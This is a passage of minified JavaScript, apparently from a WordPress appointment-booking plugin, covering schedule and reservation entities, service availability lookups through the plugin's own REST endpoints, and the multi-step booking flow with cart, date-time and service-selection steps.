e?g(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime=\"string\"==typeof e?new ye(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime=\"string\"==typeof e?new ye(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class fe extends me{mapRestDataToEntity(e){return new ve(e.id,e)}}class be{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(\" - \");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return\"string\"==typeof e?g(e)||y():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e\u002F1e3\u002F3600\u002F24)}inPeriod(e){return\"string\"==typeof e&&(e=g(e)),null!=e&&e>=this.startDate&&e\u003C=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t\u003C=this.endDate;t.setDate(t.getDate()+1)){let i=m(t,\"internal\"),s=new Date(t);e[i]=s}return e}toString(){return m(this.startDate,\"internal\")+\" - \"+m(this.endDate,\"internal\")}}class Se extends le{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)\"timetable\"==t?this.setTimetable(e[t]):\"customWorkdays\"==t?this.setCustomWorkdays(e[t]):\"daysOff\"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],i=[];e.forEach((e=>{let s=new ye(e.time_period);t.push({time_period:s,location:e.location,activity:e.activity}),\"work\"==e.activity&&i.push({time_period:s,location:e.location})})),this.timetable.push(t),this.workTimetable.push(i)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new be(t.date_period),time_period:new ye(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new be(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return\"string\"!=typeof e&&(e=m(e,\"internal\")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if(\"string\"==typeof e&&(e=g(e)),null==e)return[];let i=[],s=e.getDay();for(let e of this.workTimetable[s])0!=t&&e.location!=t||i.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&i.push(t.time_period);return i}}class $e extends me{mapRestDataToEntity(e){return new Se(e.id,e)}}class Ie extends me{mapRestDataToEntity(e){return new de(e.id,e)}}class we{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new $e(\"mpa_schedule\")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new Ie(\"mpa_service\")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new fe(\"mpa_reservation\")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new ge(\"mpa_coupon\")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==we.instance&&(we.instance=new we),we.instance}}function Te(){return we.getInstance()}let _e=null;function Ce(e,t){const i=[];for(const s of e){const e=t.includes(s.slug),a=Array.isArray(s.children)?s.children:[],r=a.length?Ce(a,t):[];(e||r.length>0)&&i.push({...s,children:r})}return i}function ke(e){let t=[];for(const i of e)i.slug&&t.push(i.slug),Array.isArray(i.children)&&(t=t.concat(ke(i.children)));return t}function Pe(e,t=[],i=null,s=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var i,s;return(null!==(i=r.get(e.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)-(null!==(s=r.get(t.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(i)&&!i.includes(e.slug)||(a.push({id:e.slug,name:\"&nbsp;&nbsp;\".repeat(s)+e.name}),Array.isArray(e.children)&&a.push(...Pe(e.children,t,i,s+1)));return a}function De(e){return b(e)}class Ee{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==_e)&&(_e=n(\"\u002Fservices\u002Favailable\").catch((e=>(console.error(\"Unable to extract available services.\"),{})))),_e}(e).then((e=>{const{services:t,services_order:i,categories_order:s,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(i||[]),this.setCategoryIndexes(s||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let i=e[t];this.services[t]=i.name;for(let e in i.categories){let t=i.categories[e];this.serviceCategories[e]=t}for(let e in i.employees){let t=i.employees[e];this.employees[e]=t.name;for(let e in t.locations){let i=t.locations[e];this.locations[e]=i}}}}isEmpty(){return _(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,i=null){let s=new de(e);return this.services.hasOwnProperty(e)&&s.setName(this.services[e]),!0===t?(this.servicePromise=pe.loadInBackground(s,Te().service()),null!==i&&this.servicePromise.then(i),this.servicePromise.then((()=>s))):this.servicePromise=null,s}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new he(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new ce(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e=\"\",t=0,i=0){let s={};for(let a in this.availability){let r=this.availability[a];if(\"\"===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((i=>{r.employees[i].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===i||i in r.employees)&&(s[a]=r.name)}}return s}getAvailableServiceCategories(){let e={};for(let t in this.availability){let i=this.availability[t];jQuery.extend(e,i.categories)}return e}getAvailableEmployees(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){let s=a.employees[e];(0===t||t in s.locations)&&(i[e]=s.name)}}return i}getAvailableLocations(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){if(0!=t&&e!=t)continue;let s=a.employees[e];jQuery.extend(i,s.locations)}}return i}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,i=\"ids\"){if(!(e in this.availability))return[];let s=[];Array.isArray(t)?s=t.filter(De):0!==t&&s.push(t);let a=[];for(let t in this.availability[e].employees){t=S(t);let i=this.availability[e].employees[t];if(0===s.length)a.push(t);else{P(s,Object.keys(i.locations).map(S)).length>0&&a.push(t)}}return 0===a.length?[]:\"entities\"===i?a.map((e=>this.getEmployee(e))):a}filterAvailableLocations(e,t=0,i=\"ids\"){if(!(e in this.availability))return[];let s=[];Array.isArray(t)?s=t.filter(De):0!==t&&s.push(t);let a=[];for(t in this.availability[e].employees){if(t=S(t),s.length>0&&-1===s.indexOf(t))continue;let i=this.availability[e].employees[t];for(let e in i.locations)a.push(S(e))}return a=k(a),0===a.length?[]:\"entities\"===i?a.map((e=>this.getLocation(e))):a}}class xe{constructor(e){this.cart=e,this.steps=new ne,this.currentStep=null,this.currentStepId=\"\"}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(\".mpa-booking-step\").on(\"mpa_booking_step_next\",((e,t)=>this.onStep(\"next\",t))).on(\"mpa_booking_step_back\",((e,t)=>this.onStep(\"back\",t))).on(\"mpa_booking_step_new\",((e,t)=>this.onStep(\"new\",t))).on(\"mpa_reset_booking\",((e,t)=>this.onStep(\"reset\",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case\"next\":this.goToNextStep();break;case\"back\":this.goToPreviousStep();break;case\"new\":this.goToFirstStep();break;case\"reset\":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):\"\";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{\"cart item\"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{\"cart item\"!==e.getCartContext()&&e.reset()}))}}class Ae{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(\".mpa-actions\"),this.$buttonBack=this.$buttons.find(\".mpa-button-back\"),this.$buttonNext=this.$buttons.find(\".mpa-button-next\")}theId(){return\"abstract\"}getCartContext(){return\"cart\"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on(\"click\",this.cancel.bind(this)),this.$buttonNext.on(\"click\",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let i=this.validateProperty(e,t);if(i===this[e])return;let s=this.preventReact;this.preventReact=!0,this.updateProperty(e,i),s||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let i=t;if(e in this.schema){let s=this.schema[e];if(null==t)i=s.default;else{switch(s.type){case\"bool\":i=b(t);break;case\"integer\":i=S(t)}if(!_(i)&&null!=s.options){s.options.indexOf(i)>=0||(i=this[e])}}}else null==t&&(i=null);return i}updateProperty(e,t){let i=this[e];this[e]=t,this.afterUpdate(e,t,i)}afterUpdate(e,t,i){}react(){let e=this.isValidInput();this.$buttonNext.prop(\"disabled\",!e),this.hideButtons&&this.$buttons.toggleClass(\"mpa-hide\",!e)}show(){this.enable(),this.react(),this.$element.removeClass(\"mpa-hide\"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass(\"mpa-loaded\"),this.hideButtons||this.$buttons.removeClass(\"mpa-hide\")}hide(){this.disable(),this.$element.addClass(\"mpa-hide\")}enable(){this.isActive=!0,this.$buttonBack.prop(\"disabled\",!1),this.$buttonNext.prop(\"disabled\",!1)}disable(){this.isActive=!1,this.$buttonBack.prop(\"disabled\",!0),this.$buttonNext.prop(\"disabled\",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():\"object\"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger(\"mpa_booking_step_back\",{step:this.stepId})}triggerNext(){this.$element.trigger(\"mpa_booking_step_next\",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop(\"disabled\",!0),this.$buttonBack.toggleClass(\"mpa-hide\",!0)}}class Me extends Ae{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(\".mpa-cart\"),this.$items=this.$cart.find(\".mpa-cart-items\"),this.$itemTemplate=this.$cart.find(\".mpa-cart-item-template\"),this.$noItems=this.$element.find(\".no-items\"),this.$totalPrice=this.$element.find(\".mpa-cart-total-price\"),this.$buttonNew=this.$buttons.find(\".mpa-button-new\")}theId(){return\"cart\"}addListeners(){super.addListeners(),this.$buttonNew.on(\"click\",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass(\"mpa-cart-item-template\"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),i=e.getDate(),s=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(i,s)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(\".mpa-cart-item\").remove(),this.$noItems.removeClass(\"mpa-hide\"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),i=e.getMaxCapacity();var s,a,r;e.setCapacity((s=e.getCapacity(),a=t,r=i,Math.max(a,Math.min(s,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,i)=>{let s='.mpa-cart-item[data-id=\"'+i+'\"]',a=this.$items.find(s);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=V(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass(\"mpa-hide\"),t}updateItem(e,t){let i=V(t,this.$itemTemplate);return e.replaceWith(i),i}bindListeners(e){let t=e.data(\"id\"),i=this.cart.getItem(t),s=e.find(\".mpa-reservation-capacity select, .mpa-reservation-clients select\"),a=e.find(\".mpa-reservation-price\"),r=e.find(\".mpa-button-remove, .mpa-button-edit-or-remove\"),n=e.find(\".mpa-button-edit, .mpa-button-edit-or-remove\");s.on(\"change\",(t=>{let s=S(t.target.value);i.setCapacity(s);let r=i.getBookingVariantForCapacity(s),n=r.employeeId,o=r.locationId;if(i.getEmployeeId()!=n)i.setEmployee(n,!1),i.setLocation(o,!1),e=this.updateItem(e,i),this.bindListeners(e);else{let e=i.service.getPrice(n,s);a.html(R(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on(\"click\",(i=>{i.stopPropagation(),e.remove();let s=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass(\"mpa-hide\"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent(\"mpa_remove_from_cart\",{detail:{cartItem:s,currencyCode:h().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on(\"click\",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(function(e,t={}){return t.literal_free=!1,R(e,t)}(this.cart.getTotalPrice()))}isMultibookingEnabled(){return h().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger(\"mpa_booking_step_new\",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent(\"mpa_begin_checkout\",{detail:{cart:this.cart,currencyCode:h().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}function Le(e){return function(e,t=!1){return Te().service().findAll(e,t)}(e.getServiceIds()).then((t=>(e.updateServices(t),t)))}class Be extends Me{setupProperties(){super.setupProperties(),this.wasMultipleReservation=!1,this.$buttonEdit=this.$buttons.find(\".mpa-button-edit\")}addListeners(){super.addListeners(),this.$buttonEdit.on(\"click\",this.startEditing.bind(this))}startEditing(){this.$element.removeClass(\"mpa-loaded\").addClass(\"editable\"),this.$buttonNew.prop(\"disabled\",!0),function(e,t=null){t||(t=new oe),e.find(\".mpa-cart-item:not(.mpa-cart-item-template)\").each(((e,i)=>{let s=i.getAttribute(\"data-id\")||\"\",a=t.createItem(s),r=jQuery(i);s!==a.getItemId()&&(s=a.getItemId(),r.attr(\"data-id\",s));let n=r.find('input[name*=\"service_id\"], select[name*=\"service_id\"]').val(),o=r.find('input[name*=\"employee_id\"], select[name*=\"employee_id\"]').val(),l=r.find('input[name*=\"location_id\"], select[name*=\"location_id\"]').val();n&&(a.service=new de(S(n))),o&&(a.employee=new he(S(o)),a.employee.name=r.find(\".mpa-employee-name\").text().trim()),l&&(a.location=new ce(S(l)),a.location.name=r.find(\".mpa-location-name\").text().trim());let h=r.find('input[name*=\"date\"]').val(),c=r.find('input[name*=\"time\"]').val();h&&(a.date=g(h)),c&&(a.time=new ye(c)),a.date&&a.time&&a.time.setDate(a.date);let d=r.find('input[name*=\"capacity\"], select[name*=\"capacity\"]').val();d&&(a.capacity=S(d))}))}(this.$element,this.cart),this.cart.setActiveItem(null),this.wasMultipleReservation=this.cart.getItemsCount()>1,this.react(),this.cart.items.forEach((e=>{let t=this.$items.find('.mpa-cart-item[data-id=\"'+e.getItemId()+'\"]');t.length>0&&this.bindListeners(t)})),Le(this.cart).then((()=>{this.$element.addClass(\"mpa-loaded\"),this.$buttonNew.prop(\"disabled\",!1)}))}react(){super.react();let e=this.cart.getItemsCount()\u003C1||this.isMultibookingEnabled();this.$buttonNew.toggleClass(\"mpa-hide\",!e)}isMultibookingEnabled(){return this.wasMultipleReservation||super.isMultibookingEnabled()}}class Oe extends Ae{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash=\"\",this.monthSlots={},this.date=\"\",this.time=\"\",this.datepicker=null,this.$dateWrapper=this.$element.find(\".mpa-date-wrapper\"),this.$dateInput=this.$element.find(\".mpa-date\"),this.$timeWrapper=this.$element.find(\".mpa-time-wrapper\"),this.$times=this.$timeWrapper.find(\".mpa-times\"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return\"period\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{date:{type:\"string\",default:\"\"},time:{type:\"string\",default:\"\"}}}addListeners(){super.addListeners(),this.$dateInput.on(\"change\",(e=>this.setProperty(\"date\",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash(\"availability\"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,\"availability\")?(this.$element.removeClass(\"mpa-loaded\"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash=\"\",this.monthSlots={},this.resetDate()}isValidInput(){return\"\"!=this.date&&\"\"!=this.time}resetDate(){this.resetProperty(\"date\")}resetTime(){this.$times.empty(),this.resetProperty(\"time\")}setEnabledDays(e){_(e,!0)?this.datepicker.set(\"enable\",[\"2000-01-01\"]):this.datepicker.set(\"enable\",e)}afterUpdate(e,t,i){\"date\"==e&&(\"\"==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass(\"mpa-hide\",\"\"==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=v(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:h().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=g(this.date),e.time=new ye(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),i=t[0],s=t[1];null===e.employee&&e.setEmployee(i,!1),null===e.location&&e.setLocation(s,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent(\"mpa_add_to_cart\",{detail:{cartItem:e,currencyCode:h().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent(\"mpa_view_cart\",{detail:{cart:this.cart,currencyCode:h().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t);const s=this.monthSlots[i];if(s&&Object.keys(s).length>0){const e=Object.keys(s)[0],t=Object.keys(s[e])[0];this.datepicker.setDate(e,!0);this.$times.children(\".mpa-time-period\").filter(((e,i)=>i.getAttribute(\"date-time\")===t)).trigger(\"click\"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let i=this.monthSlots[t][this.date];for(let t in i)if(t===this.time){let s=i[t];e[0]=s[0][0],e[1]=s[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass(\"mpa-loaded\");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t),s=null;if(this.monthSlots[i])s=Promise.resolve(this.monthSlots[i]);else{s=function(e,t,i,s){return n(\"\u002Fcalendar\u002Ftime\",{service_id:e,employee_in:s.employee_in?s.employee_in.join(\",\"):\"\",location_in:s.location_in?s.location_in.join(\",\"):\"\",date_from:m(t,\"internal\"),date_to:m(i,\"internal\"),exclude_cart:s.exclude_cart?s.exclude_cart:[]}).catch((e=>console.error(\"Failed to make time slots in mpa_time_slots().\",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([s,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[i]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass(\"mpa-loaded\"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray(\"items\")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let i=0;for(let t in e){let s=new ye(t).toString(\"public\",'\u003Cspan class=\"mpa-period-end-time\"> - ')+\"\u003C\u002Fspan>\",a=this.cartItem.getService();if(a.isGroupService()){let i=a.getMinCapacity();for(let s of e[t])i=Math.max(i,s[3]);s+=\" \",s+='\u003Cspan class=\"mpa-slot-capacity\">',s+='\u003Cspan class=\"mpa-slot-capacity-label\">'+a.getQuantityLabel()+\":\u003C\u002Fspan>\",s+=\"&nbsp;\",s+='\u003Cspan class=\"mpa-slot-capacity-number\">'+i+\"\u003C\u002Fspan>\",s+=\"\u003C\u002Fspan>\"}let r=B(s,{class:\"button button-secondary mpa-time-period\",\"date-time\":t});this.$times.append(r),i++}i>0?this.$times.children(\".mpa-time-period\").on(\"click\",(e=>this.onTime(e,e.currentTarget))):this.$times.text(c(\"Sorry, but we were unable to allocate time slots for the date you selected.\",\"motopress-appointment\"))}getMonthKey(e,t){return t\u003C=8?e+\"-0\"+(t+1):e+\"-\"+(t+1)}getCurrentMonthKey(){if(\"\"!==this.date){let e=g(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return\"2000-01\"}onTime(e,t){this.$times.children(\".mpa-time-period-selected\").removeClass(\"mpa-time-period-selected\"),t.classList.add(\"mpa-time-period-selected\"),this.setProperty(\"time\",t.getAttribute(\"date-time\"))}}class Ve extends Oe{getDatepickerArgs(){let e=super.getDatepickerArgs(),t=this.cart.getMinDate(),i=new Date(t.getFullYear(),t.getMonth());return e.minDate=m(i,\"internal\"),e}getTimeSlotsQueryArgs(){let e=super.getTimeSlotsQueryArgs();return e.since_today=!1,e}}class Fe extends Ae{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category=\"\",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(\".mpa-service-form\"),this.$categories=this.$element.find(\".mpa-service-category-wrapper\"),this.$services=this.$element.find(\".mpa-service-wrapper\"),this.$employees=this.$element.find(\".mpa-employee-wrapper\"),this.$locations=this.$element.find(\".mpa-location-wrapper\"),this.$selects=this.$element.find(\".mpa-input-wrapper select\"),this.$categoriesSelect=this.$selects.filter(\".mpa-service-category\"),this.$servicesSelect=this.$selects.filter(\".mpa-service\"),this.$employeesSelect=this.$selects.filter(\".mpa-employee\"),this.$locationsSelect=this.$selects.filter(\".mpa-location\"),this.unselectedServiceText=this.$servicesSelect.children('[value=\"\"]').text(),this.unselectedOptionText=this.$selects.filter(\".mpa-optional-select\").first().find(\"option:first\").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return\"service-form\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{category:{type:\"string\",default:\"\"},serviceId:{type:\"integer\",default:0},employeeId:{type:\"integer\",default:0},locationId:{type:\"integer\",default:0}}}addListeners(){super.addListeners(),this.$form.on(\"submit\",this.submitForm.bind(this)),this.$categoriesSelect.on(\"change\",(e=>this.setProperty(\"category\",e.target.value))),this.$servicesSelect.on(\"change\",(e=>this.setProperty(\"serviceId\",e.target.value))),this.$employeesSelect.on(\"change\",(e=>this.setProperty(\"employeeId\",e.target.value))),this.$locationsSelect.on(\"change\",(e=>this.setProperty(\"locationId\",e.target.value)))}isHiddenElementByProp(e){const t=e.attr(\"data-is-hidden\");return void 0!==t&&\"false\"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr(\"data-default\")){const i=this.$categoriesSelect.attr(\"data-default\");this.isValidCategoryBySchema(i)?e=i:t=!1}this.setProperty(\"category\",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass(\"mpa-hide\",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr(\"data-default\")){const i=S(this.$servicesSelect.attr(\"data-default\"));this.isValidServiceBySchema(i)?e=i:t=!1}this.setProperty(\"serviceId\",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass(\"mpa-hide\",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr(\"data-default\")){const i=S(this.$employeesSelect.attr(\"data-default\"));this.isValidEmployeeBySchema(i)?e=i:t=!1}this.setProperty(\"employeeId\",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass(\"mpa-hide\",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr(\"data-default\")){const i=S(this.$locationsSelect.attr(\"data-default\"));this.isValidLocationBySchema(i)?e=i:t=!1}this.setProperty(\"locationId\",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass(\"mpa-hide\",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let i=e[t].attr(\"data-default\");i?this.setProperty(t,i):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const 